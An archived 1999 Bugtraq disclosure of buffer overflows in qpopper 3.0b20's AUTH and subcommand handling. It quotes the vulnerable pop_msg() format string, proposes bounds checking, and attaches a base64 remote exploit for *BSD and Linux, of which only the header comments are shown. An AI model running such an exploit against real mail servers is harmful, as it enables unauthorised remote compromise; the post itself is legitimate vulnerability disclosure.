[12785] in bugtraq
qpop3.0b20 and below - notes and exploit
daemon@ATHENA.MIT.EDU (Lucid Solutions)
Wed Dec 1 12:05:22 1999
Mime-Version: 1.0
Content-Type: MULTIPART/MIXED; BOUNDARY="2110849577-815205743-943993525=:26891"
Message-Id: <Pine.LNX.4.10.9911301500310.26891-200000@terra.nebula.org>
Date: Tue, 30 Nov 1999 15:25:25 -0500
Reply-To: Lucid Solutions <lucid@TERRA.NEBULA.ORG>
From: Lucid Solutions <lucid@TERRA.NEBULA.ORG>
X-To: BUGTRAQ@SECURITYFOCUS.COM, eudora-custserv@eudora.com
To: BUGTRAQ@SECURITYFOCUS.COM
This message is in MIME format. The first part should be readable text,
while the remaining parts are likely unreadable without MIME-aware tools.
Send mail to mime@docserver.cac.washington.edu for more info.
--2110849577-815205743-943993525=:26891
Content-Type: TEXT/PLAIN; charset=US-ASCII
I found this overflow myself earlier this month. Seems someone
else recently found it before Qualcomm was able to issue a patch. The 2.x
series is not vunlnerable because AUTH is not yet supported and the error
returned by attempting to use AUTH does not call pop_msg() with any user
input.
There is also another overflow besides the AUTH overflow which can
occur if a valid username and password are first entered also occuring in
pop_msg().
pop_get_subcommand.c contains this line near the bottom in qpopper3.0b20:
pop_msg(p,POP_FAILURE,
"Unknown command: \"%s %s\".",p->pop_command,p->pop_subcommand);
No bounds checking is done on the attempted subcommand. It is
interesting to note that in qpop 2.53, a similar line is used, but with
limits on the string length!
pop_msg(p,POP_FAILURE,
"Unknown command: \"%.128s %.128s\".",p->pop_command,
p->pop_subcommand);
I guess Qualcomm did not continue development of Qpopper directly from the
2.53 series, but rewrote code from scratch and/or based it on earlier
code.
As a solution, pop_msg() should also do bounds checking, and not make the
calling line responsible for it (althought that's good practice too).
Attached is my original exploit that works on *BSD and Linux. (Solaris is
NOT vulnerable to the AUTH overflow). Slight modification is needed on
one line as the comments say. This exploit will actually work on the
majority of machines then. Qualcomm: you have already received my working
exploit with no modification needed.
Let's hope for an official patch soon.
- sk8@lucid-solutions.com
http://www.lucid-solutions.com
--2110849577-815205743-943993525=:26891
Content-Type: TEXT/PLAIN; charset=US-ASCII; name="q3combo-public.c"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.10.9911301525250.26891@terra.nebula.org>
Content-Description:
Content-Disposition: attachment; filename="q3combo-public.c"
LyogUVBPUCB2ZXJzaW9uIDMuMGIyMCBhbmQgbG93ZXIgYmV0YSB2ZXJzaW9u
cyBSRU1PVEUgRVhQTE9JVA0KICogY29tYmluYXRpb24gKkJTRCBhbmQgTGlu
dXgNCiAqDQogKiBzazhAbHVjaWQtc29sdXRpb25zLmNvbQ0KICogaHR0cDov
L3d3dy5sdWNpZC1zb2x1dGlvbnMuY29tDQogKg0KICogSSBoYXZlIHdyaXR0
ZW4gdGhpcyB0byB0ZXN0IGFuZCBkZW1vbnN0cmF0ZSB2dWxuZXJhYmlsaXRp
ZXMgb24gY2xpZW50cycgDQogKiBzeXN0ZW1zIG9ubHkuICANCiAqDQogKiAh
ISEhISEhISEhRE8gTk9UIGRpc3RyaWJ1dGUhISEhISEhISEhDQogKiAoYXQg
bGVhc3Qgbm90IHVudGlsIFF1YWxjb21tIGlzc3VlcyBhIHBhdGNoKQ0KICog
DQogKiBZb3UgbWF5IG9ubHkgdXNlIHRoaXMgdG8gdGVzdCB5b3VyIG93biBz
eXN0ZW0ocykuDQogKiBJIGFtIG5vdCByZXNwb25zaWJsZSBmb3IgYW55IHVu
YXV0aG9yaXplZCB1c2Ugb2YgdGhpcyBwcm9ncmFtLg0KICoNCiAqIHRlc3Rl
ZCBvbiBCU0RJIDMuMC80LjAuMSwgRnJlZUJTRCAyLjIuOC8zLjMsIExpbnV4
IA0KICogDQogKiBTaW5jZSBwb3BwZXIgaXMgdXN1YWxseSBjb21waWxlZCBi
eSB0aGUgYWRtaW4sIHJldHVybiBhZGRyZXNzZXMgd2lsbCB2YXJ5LA0KICog
YnV0IEkgaGF2ZSBpbmNsdWRlZCBjb21tb24gdmFsdWVzLiAgWW91IG1heSBo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